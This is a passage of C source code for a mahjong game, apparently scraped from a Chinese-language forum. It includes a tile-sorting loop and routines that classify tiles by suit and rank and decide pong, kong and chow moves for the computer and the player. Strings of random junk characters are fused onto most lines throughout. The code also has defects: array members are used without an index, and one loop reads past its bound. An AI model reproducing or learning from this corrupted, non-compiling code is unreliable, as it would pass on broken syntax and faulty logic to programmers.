2 j/ Y2 ^6 c' Y; v! T! X' Q" A% u{ int n,j,u;% h5 ]0 O# A- O! Z: M4 f$ a# w
int *lingshi;! z, l* [( i1 ?, W2 O2 Z
for(n=0;n&lt;me.m;n++)3 B# k, K/ x" a' x3 |) H
for(j=n;j&lt;me.m;j++)
# `) a) T" k& j/ l" _4 H{
/ u# [: `3 T" }' |0 X0 \if(me.pp[n].number&gt;me.pp[j+1].number)
/ s9 T$ |* o; n4 T$ ]- t{0 O6 Z+ L! M/ [# e
lingshi=me.pp[n].k;- N4 l/ V0 V( J' P* M
me.pp[n].k=me.pp[j+1].k;' M3 l/ x, h8 \$ i% o6 H2 @
me.pp[j+1].k=lingshi;: `5 y8 ~. f: Q2 l& p. D5 X/ C! \
u=me.pp[n].oneorfour;5 }; G1 I) Z% e1 L. C+ b/ T
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
6 N- L$ A$ v5 {; v1 Ime.pp[j+1].oneorfour=u;& u' f1 ]; V4 L+ m& ]  I
u=me.pp[n].number;
& ]( y9 E$ d0 G+ C- d8 d3 q+ h/ kme.pp[n].number=me.pp[j+1].number;
/ n$ I: G  C$ Y$ ^5 pme.pp[j+1].number=u;4 @7 [* `8 y9 c9 ^  h  G4 a
}
/ ~$ D2 i- v9 H2 D6 Y  ^else
8 v- o4 Z2 R2 C8 x1 Nif(me.pp[n].number==me.pp[j+1].number)% ]# t- D# y! b2 p
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)! M# |/ L1 w" l  V/ }- F3 W+ |
{4 C& Z1 J! j0 b) D* h
lingshi=me.pp[n].k;
+ ]# j1 U. D9 }. I8 e6 Qme.pp[n].k=me.pp[j+1].k;, b$ d! E! y2 p- U! s
me.pp[j+1].k=lingshi;/ p, @/ Q5 z) r& i
u=me.pp[n].oneorfour;
1 d& b3 o7 j3 R2 {me.pp[n].oneorfour=me.pp[j+1].oneorfour;# I5 L' s+ l" I+ d
me.pp[j+1].oneorfour=u;
) C- M" m1 F$ F5 {7 |9 pu=me.pp[n].number;
0 |$ }  z! E  t1 [, g/ t0 \) Bme.pp[n].number=me.pp[j+1].number;2 D% h- B! O$ v/ p0 S3 s
me.pp[j+1].number=u;' Z! k& N% z$ Q
}
  f/ @' ]1 E8 D: G3 U# z! y0 p$ U}; ?& \" W8 T  h* r6 x7 m2 j
}
) z& h- V" n( L1 d: n- G3 H& Ovoid rgzn(int c) /*本程序涵数的核心针对电脑的牌*/7 l' W+ W: A$ t, c
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
: y9 O( x4 N1 C. sif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)7 U' o$ }1 k& v5 c- _- {# p8 x
{
, \7 O: B- z  _" U5 ^$ L7 clogo=1;
2 o+ u" [- j" Z$ Q$ f6 Rif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)% Y: J, p0 s8 G' x$ {' Q+ E: m5 i
logoo=1;! Z3 t! `; a4 W2 {9 j$ z
else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)+ S: g9 _1 F1 i) a/ p+ z- j0 R! l
logoo=2;
/ d$ C4 Z$ ^! m" @) e4 h4 P. Telse if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
- e/ e4 K' l9 d0 @4 G; _: e4 q& {logoo=3;
2 R0 m0 z& M9 m6 m! D! K% welse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
& z, j- f0 s+ h) l& `1 R9 p9 alogoo=4;
4 l8 ?. v5 D1 u. L, u; {+ Velse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)% ?) R2 P# ^' S% j  Z" P0 D- x5 W
logoo=5;
1 {9 m' }; O7 k: d" Belse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)) ]. Y$ q6 {5 e9 q8 u- R- v$ d" v
logoo=6;$ W& f/ w. r5 \. Z& p7 I: a( t5 D
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)4 O; ^7 R7 m* ?! R
logoo=7;. Z* G! p  P  E& W. T; a  @
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
5 f4 m( W! o8 `3 G0 ]logoo=8;
. H8 f7 s) _/ X3 Qelse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32). `. k( i- w) \9 K' v8 k
logoo=9;
" l/ K" Z3 A8 G6 M1 ~; |) W}' ^: I3 n+ O. T/ t) w- n' T
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)3 a" W$ X& z/ S8 b" Q& ^$ ~
{1 p- Y# B2 [+ z& G& G) Q
logo=2;
# k( G# _- d+ l$ h; r  lif(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
3 m4 \9 |8 X9 J7 V' j6 s- S- ]logoo=1;
3 r, |3 l. Y# N, j# }8 belse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
) ^1 s7 _" H. nlogoo=2;
$ {2 r) w! @$ N& E3 Pelse if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
- R2 m. }/ h2 d' n3 J( Hlogoo=3;
9 ~0 F7 A- F/ E  Z/ g( Helse if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)  `6 |  K3 B" `' _! T1 U2 @
logoo=4;) D, X+ k) F: _9 ~
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)- N6 x# ~6 P" L
logoo=5;" X9 t0 C) y) g7 @5 P
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)5 W5 F2 m( t0 S" L
logoo=6;
- V# u/ m( i# d+ M0 Telse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)6 A' O: h" X* \  s& Q# N
logoo=7;
/ |/ e$ S- _  s, A2 telse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
, V2 F+ Z# F6 a# X- B% a$ wlogoo=8;
6 _" T  p. H+ V$ Xelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
4 o" v. Q! Z5 Q9 h% W5 w# Elogoo=9;6 }) H* _8 V8 G6 N; G
}- ?  Y2 V$ T- U: s( B) Q; S" u
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
5 M, q9 c# O4 f* v+ q" H{: J5 F9 N& \% ?5 a1 q$ T) l. F4 o2 e
logo=3;. `1 ]# i4 U6 Q+ q0 i
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)- o- G8 Y) Z  B; r+ u* V
logoo=1;
- i* p/ D2 t, F! I9 W  I2 Belse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)7 T+ A0 Q: R' y( N. T; S% G
logoo=2;
$ G4 I  `& E" Q" aelse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
! @( d1 \! y# {' a- L) Klogoo=3;
8 Y" V0 H8 |9 E: ]; ~. f: L$ S9 O  felse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)$ z" A) Z* ~$ D. J8 B) E5 f
logoo=4;9 V2 h% V  q! a' q1 v
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)5 }3 M8 A# |5 x# x+ p; x" \; U
logoo=5;
4 J" a. t" y7 p2 P% [else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
# ^' p1 \; O7 n" \logoo=6;# }5 C8 n: i( `' A2 f, l; j
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)' j- d9 x# Y1 S% e* Z6 p; K
logoo=7;
0 G; J3 i; J: E% Lelse if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)2 d% ~/ [; ?+ s' v# [# Y: M4 U
logoo=8;" }+ f; v! `5 x) m5 |9 m
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)5 O+ }" o/ ], }2 ]+ b
logoo=9;% Q) U) E9 V0 y$ R( @* _7 K
}
. c4 }$ z3 T6 I4 E3 |' e& Pelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
% x8 x; ]7 R( \8 T# i7 j{
9 h4 W% M" |: s1 J5 a0 m. qlogo=4;5 m' Y' u9 [8 Z9 Q* R; t1 u
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108). E/ h3 L0 R; z8 A4 |+ V0 h
logoo=1;& {, L8 v! Q! {6 _$ G
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)5 k+ J- o- W0 [6 m  W: @& k
logoo=2;
2 t3 t. d6 R: Z  i. yelse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)! W0 v% I: e- F9 W3 ]
logoo=3;
7 T0 q6 |% u( M, g# |$ c( Uelse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)) X& P8 M, ~3 t
logoo=4;; f5 F3 [$ R4 ]" y/ F
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)4 B2 v& e& w6 {7 M
logoo=5;
# n0 K' h. A  S% ?else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
8 R  Z5 e$ }, U' blogoo=6;! i- ?; s! V8 j& j
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132). U# f: @& E. j. P: \' \# A
logoo=7;5 f7 V: U6 A+ e
}
  f5 V5 M# q- w" `5 kwhile(b&lt;=computer.m)" U- x+ j$ N4 b' E3 q0 o( T6 W
{% [$ i9 ]; X+ e3 s% j
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
! M5 ~% T& S9 z{
" O; ~. q  L- M: K6 A- r* R; Clg=1;
9 E6 p7 D5 [$ ?+ E  |" A" y  acomputer.pp.d[0]=1;
( R$ w( D5 J0 w, N5 Aif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)% l. m. q* k* N
{+ ]! U) a, j; W' q! O+ }; u% `
lgg=1;  e' x. Z4 r6 O/ F7 `
computer.pp.d[1]=1;. O" i4 ^% _7 Y* f, o
}
( [/ |$ @$ {7 N( F, f! \else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)! k7 N. m2 g8 w- S9 F
{
9 X* S# I1 N0 Jlgg=2;
0 Z" i5 S3 Q& U; T( k8 Rcomputer.pp.d[1]=2;
/ K! ]$ N* R3 p- H+ m; R0 Q- @}8 w$ V4 A3 ^, q7 G
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8): p- F% d+ a& ~/ B& x
{
# T  Q6 O7 y% m( M! N5 ulgg=3;
1 A. a7 Q; t6 T6 Dcomputer.pp.d[1]=3;
4 D6 [3 I0 Z9 a1 Y0 _}6 Q! k' ]! w3 T/ N$ C8 r$ I* |' i
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12). R( C9 q- r7 s5 [
{
  P8 I5 w# V0 {* ~lgg=4;; P0 j( P3 B$ ^
computer.pp.d[1]=4;$ I( c/ W" Q' @& i1 ?
}/ l" I  s: G2 [% |0 n
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)" B3 c( g! o- C
{
3 j. t/ \/ q, Y9 [, Hlgg=5;
' G2 [& z3 A& ycomputer.pp.d[1]=5;" }! M; b' I$ {* c6 b
}
1 P2 ^9 j+ @0 i# T4 pelse if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)7 t. H/ X6 c8 H
{( F: n/ b( h& M' E' C# n9 `
lgg=6;5 X; Z+ l* @. |) d
computer.pp.d[1]=6;
$ I9 p# k( p% h7 r% z}
. X  f5 R( K* B; x3 J" ?else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)6 y+ G, d+ E# \# `6 o
{
3 G9 R4 L& K5 Y  r, N# tlgg=7;
& ]& l' h7 {) g! R0 S  qcomputer.pp.d[1]=7;* M3 G4 `* M; E2 }0 w* Z
}% [3 \: }) i5 F( K% Y% e" M, n
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
- o7 W* \5 V% G  b8 r{
$ r& l- t/ q; C1 _! ]lgg=8;
( n/ D& D* u' z2 C. G6 acomputer.pp.d[1]=8;- Q1 Q. d& w$ \( u" X
}
  b  R9 A% [9 r" r3 L4 X& zelse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
8 m7 Q9 [9 a1 Y/ N{& U3 o# ]' x, u2 c# o% |/ i* y4 G
lgg=9;0 d5 Z" ?# g% Q
computer.pp.d[1]=9;
1 S$ W  T0 R- }; X) }  L}, I6 W- g5 S! T8 i  @( C. _! @
}) C2 F# K% m9 M2 W
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)! ^" U& \4 f( O8 v9 `! Q( n" a
{
+ u' {+ q7 K/ O9 J4 ilg=2;5 W" j0 l2 X* b0 f1 h" [5 V0 N
computer.pp.d[0]=2;7 b5 n2 t9 h4 i* Z
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)' N% X! q+ \. l- |3 M: ]
{# E' B9 }5 s1 _3 `( @5 E
lgg=1;- Q& d3 v% b8 A8 N! ?
computer.pp.d[1]=1;% A" H$ Z" T- X
}' X4 E: o" A/ Y% }" ~5 c8 Q
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
, q8 C$ Z: G% `* O. x/ H{
' e5 ^1 D: x9 k2 ]! n! ulgg=2;
: c, x' V7 M  y% @; {! Ycomputer.pp.d[1]=2;  y; x/ ~8 ^2 }: b
}$ [$ x& ^5 D0 Z( U& v$ d
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
; {" S6 Z4 _0 W{
- ^' m5 `2 J' S8 Mlgg=3;  ]. |( U9 A. g/ H( B
computer.pp.d[1]=3;
$ c% O7 J9 d0 u/ ], g- [}0 q% f8 V5 G4 \5 U1 T; ]
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)/ i; ]' m4 L& G; i* M! |+ D
{- A" n# s; T: V/ [% u
lgg=4;
4 ?6 Q2 r/ {. u0 scomputer.pp.d[1]=4;5 T7 J8 A; b2 f
}; o  r% F! B% P& F
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)- I9 L# J8 }5 n& g* j2 f
{
  @5 j) K. A+ rlgg=5;
3 v0 |" G4 P: \6 K6 b) F' Z2 fcomputer.pp.d[1]=5;
  U; w) R* P8 Y; i4 L}
: o$ [7 j$ H! o1 x/ g; |else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
0 |+ z$ S7 N. U9 Z" g% P1 x% R{7 |9 Y1 F7 H% v, P, E% _! s
lgg=6;. @, E- d' i: }1 H  H3 \( I/ w$ p- j( v. |
computer.pp.d[1]=6;
$ a1 _' j  B. Q9 c5 B}6 Z; b( H7 a! _; k
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
* Y) o+ p' ^, {6 J8 B6 T! l& c{
" f. K  |! w% w' }lgg=7;
% _3 `; A- X) Ecomputer.pp.d[1]=7;
- z# j  G! K8 w$ _/ N& {1 t}! X& A, S6 N; W- c( ^# R5 A# f( M
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
- M7 j' H% w4 H* n% |* _. T+ N% _( m{/ q- J1 _: J( P7 k0 @9 g  e+ q% f
lgg=8;
$ M- J6 E* N, {9 Icomputer.pp.d[1]=8;
. [6 b7 Y, \* W7 q. s7 |/ i# H}" S. n% j; ~: Q3 V& U: f
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
5 Y! W2 |) \1 u/ v6 u{; x: M2 Q) l2 b$ S
lgg=9;9 Y( c5 d3 ^, f
computer.pp.d[1]=9;, X, e# A, l3 q2 V) f& w. w8 e9 V: g
}  n' H. F1 n/ B- ]- y) f7 ^, [6 G
}
; M& P8 D& b; d3 B# ^1 Belse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
9 D" p  P( h4 ^+ ?{0 A& Q, m1 c- E; s# J1 u
lg=3;
2 X( m3 i! T$ a2 Pcomputer.pp.d[0]=3;' v0 d- b6 z, D. P* _; w' W
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
" h6 G9 e, \& E& _0 s- D9 R; k{
- i6 P* k: R9 _7 \lgg=1;( y3 b# c* h8 z7 F  r% o
computer.pp.d[1]=1;! }% O$ o, \* a- T
}; J2 q( S. a2 ^5 s7 v& _  b# C" J1 B
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76). a, K; k4 c2 b/ a
{6 ~# j0 M) m3 @* z$ i, E% K$ k
lgg=2;. {$ T& R3 b: N) I' q
computer.pp.d[1]=2;, }8 w$ n" d: q& G9 O3 E, b
}5 V: A( J4 O! l. V1 ~
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80); k; l0 F# X; X; e! o
{) ^6 g) [7 v9 H+ o2 v
lgg=3;
2 s, u; b. g4 \+ }; ^computer.pp.d[1]=3;9 @9 W8 \4 q5 a$ H( n; q9 h" [
}
4 f) @0 O- ^7 y& jelse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)! f* z3 k- V: t
{
/ x2 [3 }- T7 w4 _% z1 @, M2 T; @; ]- ^lgg=4;9 O) l" }2 r( H! Y- M
computer.pp.d[1]=4;5 ]2 I6 U8 }7 w/ i- ~! X  A
}
8 U( k! G) T' N$ M) j4 s5 G4 n) Telse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
7 y+ A1 x3 Y. o: j# u) L{
# `% W+ Y. B4 slgg=5;5 D1 s3 }- D7 V1 ]; O
computer.pp.d[1]=5;
( b& _9 v" S4 T: K8 R* I& R}: s. S8 y, A* s
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
" {3 V! X$ Y& R$ ?- I! m& [{0 t' H: ]0 b1 D% D1 f8 M0 B: R
lgg=6;8 j6 {9 L) s7 k% i( ]
computer.pp.d[1]=6;6 c: g& k: t4 k( \# Z, E# s
}
& y2 `7 U6 g! r* o( {! `6 telse if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)* D2 Z* }/ v1 x0 `
{, h, L2 _' q6 a$ u( ^1 p
lgg=7;6 o* E$ ~* N8 m; {, K6 b  l
computer.pp.d[1]=7;. H7 q$ S5 Q# X) e
}! O4 k6 D9 o0 g8 j7 P/ x/ t
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
, A3 c1 I' J4 C, P' c2 V{6 x/ o/ i1 y6 \/ k5 M
lgg=8;. \8 J! x9 \" {* U% ^
computer.pp.d[1]=8;
. C' B7 ?0 |5 L# p+ u: [. h. J9 L}
8 x0 w1 ^4 F3 U; w% N4 ielse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
& K0 V1 a" s0 |1 G; j: S1 \{
% D6 b! f* f& ?4 F; b! s3 p* tlgg=9;. c+ C. X2 |# v
computer.pp.d[1]=9;( g% k0 L" y  d( k# D; u
}: S! ^0 {+ w( b, G& |0 V8 M
}
4 y2 N8 k" c( h/ p( s9 pelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
9 a( e3 b1 M, R. H& K9 Q# R+ ]{
8 M/ `. R; V! D: ]" `lg=4;
! i  c$ P  k3 t3 W  a$ ^4 {computer.pp.d[0]=4;
) ^, ~4 T8 w0 B0 c/ b) gif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)3 e8 ^9 F2 `) Z: h3 {6 ^! I
{
! S% P' T5 s( ~; R8 E6 zlgg=1;
3 k+ _! O+ S9 W' f) ~8 e8 I+ X/ ucomputer.pp.d[1]=1;
7 ]3 m6 ~2 v# [2 [. G7 G3 W/ q}1 }* i6 w/ D& l9 U" |  r8 @
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)! d* u# k. i3 L+ Q6 F2 |7 |
{+ b9 I2 C% ]6 A3 h8 l2 W& z; Q
lgg=2;
+ _, [4 e% C1 Q. N# }, W5 acomputer.pp.d[1]=2;
* Y% l7 s3 t/ h4 V8 Y2 k5 I}
4 K8 ~/ h. Q$ j: o7 ]else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
9 `/ a3 M7 }2 y/ M3 n' k" |{4 `* K6 j: L6 W- B* q  @* x
lgg=3;" L  ?, [0 t" [3 n; [' U
computer.pp.d[1]=3;
* ]& A& O% b2 t, `}3 P5 ], @, l$ b9 f
else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)* k% ~: S6 T6 z% {# g6 F, h
{
, L1 d9 \- i6 g9 ]+ m4 blgg=4;1 i! ?' ?0 D6 E( w7 _
computer.pp.d[1]=4;
0 P$ `* R, r4 C5 V+ ^9 K3 ^}; `& R% {+ ]1 A2 F! E+ `% y
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
7 b. o, l6 T+ O- Q  {! |: P{
0 }2 _$ J; O0 ~0 Dlgg=5;
' |& F/ O% j* }' k, Y' ]computer.pp.d[1]=5;: d3 j- b6 S! ^" C+ }4 z
}
7 t2 @; K# f% k$ Gelse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
  V0 k8 F* T/ n8 [+ a, o{; `9 t& y/ }6 n6 j) ?
lgg=6;
7 g$ W' W; W6 ^computer.pp.d[1]=6;' y0 ^1 [( P" q
}# u" O( r) q) k$ `+ F& F- G% c2 i1 y$ r
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
; y4 {3 l1 Y+ ]{$ q1 w# o5 K1 s  F
lgg=7;
) n" w7 R5 B9 b" B- @& V; w3 kcomputer.pp.d[1]=7;
  f5 d/ I+ R: a8 b4 s2 E9 O- d}) A4 x2 D% w2 ]: n9 T
}
0 b* B6 E+ W0 [4 V$ ?4 I" m, }6 B+ `
8 J1 L$ ]6 U$ H' [/ i) [if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
! d+ d# ?7 P+ Y- x8 D# tif(logoo==lgg)
& X6 u  E$ T! I/ H) h) w4 Dpg++;
# B( A, c* c8 C) Z, ?ch.lg=lg; /*保存电脑手里的每张牌的信息*/! Q1 N8 y! ^! ^: y2 B* T
ch.lgg=lgg;
$ d. U. x' _8 y; x" }$ Ylg=0;+ {1 @$ z  F4 {
lgg=0;8 b6 G7 j7 q' @% j7 ^
b++;7 b; }7 B* f5 I0 S/ x
}1 h" e8 ~* C6 X2 a
if(pg==2) /*乓*/
/ b( V2 Y5 _. o! d) C+ Q, Y: s( q{
, F. v; n8 a2 Y2 D! ?7 b
9 G5 C, B6 n$ k# B7 Wsing=1;; `# F( i/ r4 \  l5 ~% ]
b=computer.m;
% v9 a$ W: r# Z3 G7 ?' `5 kwhile(b!=-1)
! C: Z/ \- O% r- [2 d% V{
6 E9 p) ^6 U! B/ r: g# A) qif(strcmp(me.pp[c].k,computer.pp.k)==0)) z; M1 _* n1 s' O- l- H
computer.pp.p=1;" f, g) K% ~' f$ W- y" i

& B! h( u  i4 R  E5 k& zb--;
, o% A- E$ \# O4 L  V. C1 I}/ x! _! V% Q# r4 N5 r% N
}
: K) w4 t8 O7 }8 m: rif(pg==3) /*杠*/
% ~2 l4 U4 T, B2 u5 c. T. p{
0 q/ ~* E4 r& \* k( `
% m4 i% T" t# d3 Z- v+ using=2;8 E6 _8 l% G+ O, B/ ?: N2 a! {
b=computer.m;
& h& L( G( Q8 S+ `1 rwhile(b!=-1)5 L% B% d% n& e5 h. }, B- W1 U
{
% i( E4 j# m2 M" |- i; Z* Iif(strcmp(me.pp[c].k,computer.pp.k)==0)  R6 [; |3 h% H3 Y& p# j
computer.pp.g=1;- F) h8 J* ~8 j2 `
b--;
& k; E4 z0 c' `) Y( \$ |7 {) k# m}1 X# {4 o  C( r# G6 Q
}& s  [# `; E! \' ~7 G
f=0;
1 [! S- l7 r/ P! M, [while(f&lt;computer.m) /*吃的判断*/$ C7 U5 u4 i: v' w9 n
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
# c3 a5 I. G7 `$ ~* x5 p: }{
$ }- K) \4 l- [+ W' eif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*// R8 ~7 E# B/ ^2 r7 ]% y! D
if(ch[f].lgg-logoo==1)
; M. U+ d! P1 a' x6 f6 r, j{4 x7 l$ x) Y5 ]6 H( k! w
gp++;, k7 `3 I( D- U' L# g
computer.pp[f].c=1;
+ q" s1 }7 M+ P) xcomputer.pp[f+1].c=1;
( Q- \( g4 \# u! f- C  j}
, n! Q: d9 a! w3 d1 ?' ~if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
) P  ~( e3 Q/ X% M. Kif(ch[f+1].lgg-logoo==-1)2 ?( x8 M  I  V5 k
{: }( @! q+ U% l- ?  S5 N- j; Q
gp++;" S2 J" y5 A3 t+ C
computer.pp[f].c=1;
4 M, c1 F: Y6 ucomputer.pp[f+1].c=1;
! l$ P* u; U8 e" j# }. W& A  l5 x}" S. Y. }( g$ c  e+ e
if(ch[f].lgg-logoo==-1) /*中吃*/
; P- }# ^4 v! \# h% c  bif(ch[f+1].lgg-logoo==1)
% X2 ]/ {5 _) U8 L6 d+ D' Y$ D{
+ v$ |$ ~7 L1 o  @: W  X0 i; Igp++;
( L  b% I8 B. S0 kcomputer.pp[f].c=1;# `& a7 H% {: S% G: m
computer.pp[f+1].c=1;9 q9 W& K- D4 Q
}4 ~# H- t5 ~( @3 m
if(gp==1)
( k( J' ~) e# abreak;
2 X% v) ~4 R$ i' [5 p}
; w2 X8 s/ W5 M8 P) l+ n3 mf++;+ }3 L! ~4 G$ R2 M# J
}
/ O7 q2 j% ^! {- N7 d$ ^if(gp==1). {' ~/ K" G+ @% n) X& `( \
{sing=7;! p; p" p& L: d, h  F9 T! q) `
) |, A6 A: n- y
}1 s. C9 t, m( _0 N* f# x9 {
pg=0;- j+ g" v2 ?, A. ]3 T+ E
gp=0;5 f% z( X$ j$ e- H/ Q
b=0;) T- h! r- X' d7 c7 j4 r
}
1 Z3 s) m6 @. qvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/
  Z# S5 `" M) l0 ^( ?+ E+ I/ O{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
/ U' Q, i( G1 t$ N8 U. P& a* `! Yif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)" g* e2 I1 W; }# c9 a* j7 Z
{" s, P% b& g. @4 t6 I& y
logo=1;
; B: j! q( }9 x6 J. B, Uif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0): [) [9 n& V# Y
logoo=1;& M  e# a  V' c+ ^! K: k! D/ w9 ?
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
7 @& V# ^! U5 x/ Q" b$ O3 ^logoo=2;
- {6 X* _0 c6 K' y5 [/ z& v1 @else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
; V$ Q6 i' I' {+ G: x7 elogoo=3;
8 q6 ?+ s, \* U7 X6 h" Melse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
0 Z& E3 h. o8 F2 Tlogoo=4;% E. w, u$ D5 H6 }9 `7 K
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)# n/ K& v( n- a
logoo=5;
: S# B% @/ c9 c# }else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)1 P" n# N  h7 D6 s3 i! o: y8 z1 e
logoo=6;% m$ a- Q  Y9 v' o
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
# E2 w8 K# [; [% }logoo=7;
) ?2 |  R' u5 O( |) ~6 R8 lelse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
( L- ^) T3 s) tlogoo=8;8 q4 l% I$ C& P- E6 g  u
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)6 o4 `1 C! E& o5 }2 f  _+ `
logoo=9;# V! Q6 \# f9 P9 M8 \% D
}
8 ]0 A  r- j: t! K/ A. z8 X1 T7 p8 Oelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
  i) b4 @# r  W# y5 j* U$ i+ w{
' j5 t& u2 i7 ~; J  z& ^$ Zlogo=2;/ j, h  c* A5 @8 m" g
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)- P" o8 M5 {. w! [* v
logoo=1;
5 a! M0 d! Q9 B* {* H2 gelse if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
7 s  s, J  e+ l; p" u" xlogoo=2;3 u) L% z- j/ V9 V6 q: ]% H0 E
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)9 T' y/ g6 `& d2 [" L4 b% V$ r
logoo=3;
